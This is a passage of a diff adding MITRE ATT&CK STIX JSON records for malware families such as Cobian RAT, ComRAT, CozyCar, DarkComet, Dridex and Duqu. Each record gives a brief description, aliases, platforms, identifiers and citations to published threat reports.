10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "description": "Lozhkin, S.. (2015, July 16). Minidionis \u2013 one more APT with a usage of cloud drives. Retrieved April 5, 2017.", + "source_name": "Securelist Minidionis July 2015", + "url": "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/" + } + ] + }, + { + "name": "Cobian RAT", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)", + "id": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Cobian RAT" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T21:40:37.350Z", + "modified": "2019-04-23T21:09:54.593Z", + "external_references": [ + { + "external_id": "S0338", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0338" + }, + { + "source_name": "Cobian RAT", + "description": "(Citation: Zscaler Cobain Aug 2017)" + }, + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ] + }, + { + "name": "CoinTicker", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)", + "id": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0369", + "url": "https://attack.mitre.org/software/S0369" + }, + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "CoinTicker" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Richie Cyrus, SpecterOps" + ], + "created": "2019-04-23T18:41:36.914Z", + "modified": "2019-04-29T21:19:34.739Z", + "labels": [ + "malware" + ] + }, + { + "name": "ComRAT", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ComRAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created": "2017-05-31T21:33:13.252Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0126", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0126" + }, + { + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "source_name": "Symantec Waterbug", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf" + }, + { + "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.", + "source_name": "NorthSec 2015 GData Uroburos Tools", + "url": "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + } + ] + }, + { + "name": "Comnie", + "description": "[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Comnie" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0244", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0244" + }, + { + "description": "(Citation: Palo Alto Comnie)", + "source_name": "Comnie" + }, + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ] + }, + { + "name": "CosmicDuke", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CosmicDuke", + "TinyBaron", + "BotgenStudios", + "NemesisGemina" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "created": "2017-05-31T21:32:36.550Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0050" + }, + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "CozyCar", + "description": "[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)", + "id": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CozyCar", + "CozyDuke", + "CozyBear", + "Cozer", + "EuroAPT" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:35.022Z", + "modified": "2019-04-24T23:17:24.947Z", + "external_references": [ + { + "external_id": "S0046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0046" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "Crimson", + "description": "[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Crimson", + "MSIL/Crimson" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "created": "2017-05-31T21:33:08.679Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0115", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0115" + }, + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ] + }, + { + "name": "CrossRAT", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CrossRAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0235", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0235" + }, + { + "description": "(Citation: Lookout Dark Caracal Jan 2018)", + "source_name": "CrossRAT" + }, + { + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "source_name": "Lookout Dark Caracal Jan 2018", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ] + }, + { + "name": "DDKONG", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DDKONG" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0255", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0255" + }, + { + "description": "(Citation: Rancor Unit42 June 2018)", + "source_name": "DDKONG" + }, + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ] + }, + { + "name": "DOGCALL", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DOGCALL" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-01-29T18:23:45.808Z", + "external_references": [ + { + "external_id": "S0213", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0213" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "DOGCALL" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "DarkComet", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", + "id": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "DarkComet", + "DarkKomet", + "Fynloski", + "Krademok", + "FYNLOS" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T19:18:28.468Z", + "modified": "2019-06-04T19:40:43.387Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0334", + "url": "https://attack.mitre.org/software/S0334" + }, + { + "description": "(Citation: TrendMicro DarkComet Sept 2014)", + "source_name": "DarkComet" + }, + { + "description": "(Citation: TrendMicro DarkComet Sept 2014)", + "source_name": "DarkKomet" + }, + { + "description": "(Citation: TrendMicro DarkComet Sept 2014)", + "source_name": "Fynloski" + }, + { + "description": "(Citation: TrendMicro DarkComet Sept 2014)", + "source_name": "Krademok" + }, + { + "description": "(Citation: TrendMicro DarkComet Sept 2014)", + "source_name": "FYNLOS" + }, + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ] + }, + { + "type": "malware", + "name": "Darkmoon", + "revoked": true, + "id": "malware--310f437b-29e7-4844-848c-7220868d074a", + "created": "2018-04-18T17:59:24.739Z", + "labels": [ + "malware" + ], + "modified": "2018-10-17T00:19:37.952Z", + "external_references": [ + { + "external_id": "S0209", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0209" + } + ] + }, + { + "name": "Daserf", + "description": "[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Daserf", + "Muirim", + "Nioupale" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0187", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0187" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)", + "source_name": "Daserf" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)", + "source_name": "Muirim" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)", + "source_name": "Nioupale" + }, + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ] + }, + { + "name": "DealersChoice", + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DealersChoice" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0243", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0243" + }, + { + "description": "(Citation: Sofacy DealersChoice)", + "source_name": "DealersChoice" + }, + { + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "source_name": "Sofacy DealersChoice", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ] + }, + { + "name": "Denis", + "description": "[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan.(Citation: Cybereason Oceanlotus May 2017)", + "id": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Denis" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T20:01:44.815Z", + "modified": "2019-04-24T20:56:04.497Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0354", + "url": "https://attack.mitre.org/software/S0354" + }, + { + "description": "(Citation: Cybereason Oceanlotus May 2017)", + "source_name": "Denis" + }, + { + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ] + }, + { + "name": "Derusbi", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)", + "id": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Derusbi", + "PHOTO" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:18.668Z", + "modified": "2019-08-16T18:52:50.522Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0021", + "url": "https://attack.mitre.org/software/S0021" + }, + { + "source_name": "Derusbi", + "description": "(Citation: Novetta-Axiom)" + }, + { + "source_name": "PHOTO", + "description": "(Citation: FireEye Periscope March 2018)" + }, + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "ThreatConnect Anthem", + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + }, + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ] + }, + { + "name": "Dipsind", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)", + "id": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Dipsind" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0200", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0200" + }, + { + "description": "(Citation: Microsoft PLATINUM April 2016)", + "source_name": "Dipsind" + }, + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "Dok", + "description": "[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Dok", + "Retefe" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0281", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0281" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "Dok" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "Retefe" + }, + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "name": "DownPaper", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DownPaper" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0186", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0186" + }, + { + "description": "(Citation: ClearSky Charming Kitten Dec 2017)", + "source_name": "DownPaper" + }, + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ] + }, + { + "name": "Downdelph", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)", + "id": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Downdelph", + "Delphacy" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:16.790Z", + "modified": "2019-10-15T18:00:19.329Z", + "external_references": [ + { + "external_id": "S0134", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0134" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ] + }, + { + "name": "Dridex", + "description": "[Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)", + "id": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Dridex", + "Bugat v5" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-05-30T19:47:37.192Z", + "modified": "2019-05-31T15:35:30.741Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0384", + "url": "https://attack.mitre.org/software/S0384" + }, + { + "description": "(Citation: Dell Dridex Oct 2015)", + "source_name": "Bugat v5" + }, + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" + }, + { + "source_name": "Kaspersky Dridex May 2017", + "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.", + "url": "https://securelist.com/dridex-a-history-of-evolution/78531/" + } + ] + }, + { + "name": "Duqu", + "description": "[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)", + "id": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Duqu" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:31.188Z", + "modified": "2019-04-24T23:18:53.005Z", + "external_references": [ + { + "external_id": "S0038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0038" + }, + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "name": "DustySky", + "description": "[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DustySky", + "NeD Worm" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "created": "2017-05-31T21:32:41.750Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0062", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0062" + }, + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": 